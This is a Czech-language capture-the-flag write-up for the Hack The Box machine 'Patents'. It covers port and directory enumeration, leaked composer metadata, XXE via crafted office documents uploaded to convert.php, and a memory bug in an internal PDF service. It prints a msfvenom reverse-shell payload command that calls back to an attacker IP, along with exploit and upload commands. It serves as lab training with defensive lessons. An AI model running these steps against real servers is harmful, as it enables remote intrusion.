Patents
Úvod a kontext
Patents je stroj z Hack The Box, který kombinuje špatně chráněné vývojové artefakty, XXE v převodu dokumentů a samostatnou chybu v interním PDF backendu. Dobře se na něm ukazuje, jak moc napoví veřejně vystavené release poznámky a composer metadata.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 39:b6:84:a7:a7:f3:c2:4f:38:db:fc:2a:dd:26:4e:67 (RSA)
| 256 b1:cd:18:c7:1d:df:57:c1:d2:61:31:89:9e:11:f5:65 (ECDSA)
|_ 256 73:37:88:6a:2e:b8:01:4e:65:f7:f8:5e:47:f6:10:c4 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: MEOW Inc. - Patents Management
8888/tcp open sun-answerbook?
| fingerprint-strings:
| Help, LPDString, LSCP:
|_ LFM 400 BAD REQUEST
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.80%I=7%D=1/18%Time=5E23576C%P=x86_64-pc-linux-gnu%r(LS
SF:CP,17,"LFM\x20400\x20BAD\x20REQUEST\r\n\r\n")%r(Help,17,"LFM\x20400\x20
SF:BAD\x20REQUEST\r\n\r\n")%r(LPDString,17,"LFM\x20400\x20BAD\x20REQUEST\r
SF:\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
./dirsearch/dirsearch.py -u http://patents.htb/ -e php -x 403
[18:56:14] 200 - 6KB - /.DS_Store
[18:56:46] 200 - 1B - /config.php
[18:56:59] 200 - 12KB - /index
[18:56:59] 200 - 12KB - /index.html
[18:57:16] 200 - 16KB - /profile
[18:57:18] 301 - 312B - /release -> http://patents.htb/release/
[18:57:24] 301 - 311B - /static -> http://patents.htb/static/
[18:57:29] 200 - 5KB - /upload
[18:57:29] 200 - 5KB - /upload.html
[18:57:29] 200 - 589B - /upload.php
[18:57:29] 301 - 312B - /uploads -> http://patents.htb/uploads/
[18:57:30] 200 - 0B - /vendor/composer/autoload_classmap.php
[18:57:30] 200 - 0B - /vendor/composer/autoload_namespaces.php
[18:57:30] 200 - 0B - /vendor/composer/autoload_files.php
[18:57:30] 200 - 0B - /vendor/autoload.php
[18:57:30] 200 - 0B - /vendor/composer/autoload_real.php
[18:57:30] 200 - 0B - /vendor/composer/autoload_psr4.php
[18:57:30] 200 - 0B - /vendor/composer/autoload_static.php
[18:57:30] 200 - 0B - /vendor/composer/ClassLoader.php
[18:57:31] 200 - 1KB - /vendor/composer/LICENSE
[18:57:31] 200 - 26KB - /vendor/composer/installed.json
Enumerace webu (2)
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
./dirsearch/dirsearch.py -u http://patents.htb/release/ -e php -x 403 -w /__CENSORED__-large-words.txt
[19:09:30] 200 - 758B - /release/UpdateDetails
Získání přístupu
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
curl http://patents.htb/vendor/composer/installed.json
"name": "gears/pdf",
"version": "dev-master",
"version_normalized": "9999999-dev",
"source": {
"type": "git",
"url": "./lib/pdf/",
"reference": "__CENSORED__"
},
Spuštění exploitu (2)
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.14.23 LPORT=4000 -f python
extract odt
copy word
rm bad.odt && cd bad && zip -r ../bad.odt * && cd ..
rm test.odt && cd test && zip -r ../test.odt mimetype * && cd ..
rm test.ods && cd testods && zip -r ../test.ods mimetype * && cd ..
rm libre.odt && cd libre && zip -r ../libre.odt mimetype * && cd ..
rm msf.odt && cd msf && zip -r ../msf.odt mimetype * && cd ..
libreoffice --headless --convert-to pdf:writer_pdf_Export --outdir . test.odt
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
installed.json prozradil lokální knihovnu gears/pdf a release/UpdateDetails zároveň zmiňovalo experimentální include funkcionalitu i zapnuté entity parsing. To je velmi silná indicie k XXE a k tomu, že samotný convert.php jen předává vstup dalšímu převodnímu backendu.
Další krok proto vedl ke škodlivému docx, ve kterém je XML upravené tak, aby převodník načetl externí DTD nebo lokální soubory. Tím šlo potvrdit XXE a následně zneužít převodní řetězec na convert.php k získání kódu na serveru. Jedním z doložených artefaktů této fáze je následující dvojice kroků:
python exploit.py --bind-port 5555 http://patents.htb/convert.php
curl -F "submit=a" -F "userfile=@doc.docx" -X POST http://patents.htb/convert.php
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Samostatná root fáze mířila na interní službu na portu 8888, která už při skenu působila jako vlastní dokumentový backend. Šlo o PDF generátor s paměťovou chybou, takže po prvním footholdu dávalo smysl obrátit pozornost právě tam.
Je důležité rozlišit oba problémy. User část stojí na špatně zabezpečeném XML/konverzním řetězci, root část na chybě ve vlastní backendové službě spuštěné s vyššími právy.
Shrnutí klíčových poznatků
- První skutečně užitečný závěr plynul z toho, jak do sebe zapadly webová aplikace v PHP, Apache a SSH.
- User fáze se opírala o stabilní uživatelský přístup opřený o
installed.json, takže přístup byl reprodukovatelný a ne jen jednorázový. - Finální kontrolu nad systémem otevřela až mechanika typu lokální enumerace po získání shellu.
Co si odnést do praxe
- Pokud se zanedbá oblast webová aplikace v PHP, Apache a SSH, vznikne stejný typ vstupu jako tady. Převod dokumentů a server-side render je potřeba sandboxovat a oddělit od citlivého filesystemu; parser nebo převodník nesmí mít přístup k tajemstvím hostu.
- Jakmile útočník ověří stabilní uživatelský přístup opřený o
installed.json, je potřeba počítat s dlouhodobým přístupem. Jakmile se v prostředí objeví použitelný klíč, heslo nebo token, je potřeba předpokládat okamžitý pivot na stabilní shell; obrana proto stojí na segmentaci a oddělení přístupů mezi službami. - Stejně důležitá je i obrana proti mechanice lokální enumerace po získání shellu. Root/admin část obvykle nepadá na nové CVE, ale na lokální delegaci práv, reuse tajemství nebo pomocném skriptu; právě tyto mechaniky je potřeba po footholdu auditovat nejdřív.